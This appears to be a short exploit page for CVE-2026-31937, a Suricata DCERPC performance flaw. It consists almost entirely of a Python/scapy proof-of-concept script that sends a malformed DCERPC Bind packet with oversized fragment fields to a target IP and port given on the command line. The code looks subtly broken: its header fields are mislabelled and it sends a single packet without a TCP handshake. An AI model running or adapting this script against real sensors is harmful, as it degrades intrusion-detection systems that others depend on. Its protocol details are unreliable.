CVE-2026-31937 Suricata DCERPC性能下降漏洞

# PoC for CVE-2026-31937 (Suricata DCERPC Performance Degradation) # This script is for educational and authorized testing purposes only. from scapy.all import * import sys def send_dcerpc_packet(target_ip, target_port): """ Sends a malformed DCERPC packet to trigger the buffering inefficiency. """ # Construct the IP and TCP layers ip_packet = IP(dst=target_ip) tcp_packet = TCP(sport=RandShort(), dport=target_port, flags="PA") # Construct a DCERPC Bind request header (Simplified) # Version 5, Minor 0 dcerpc_header = bytes.fromhex("05 00 0B 03") # Max Xmit Frag Size: 0xFFFF (Large value to stress buffering) # Max Recv Frag Size: 0xFFFF frag_size = bytes.fromhex("FF FF FF FF") # Auth Length and other fields set to 0 auth_fields = bytes.fromhex("00 00 00 00") # Payload causing the inefficiency payload = dcerpc_header + frag_size + auth_fields + b"A" * 1024 packet = ip_packet / tcp_packet / payload print(f"[*] Sending PoC packet to {target_ip}:{target_port}...") send(packet, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_31937_poc.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_dcerpc_packet(target, port)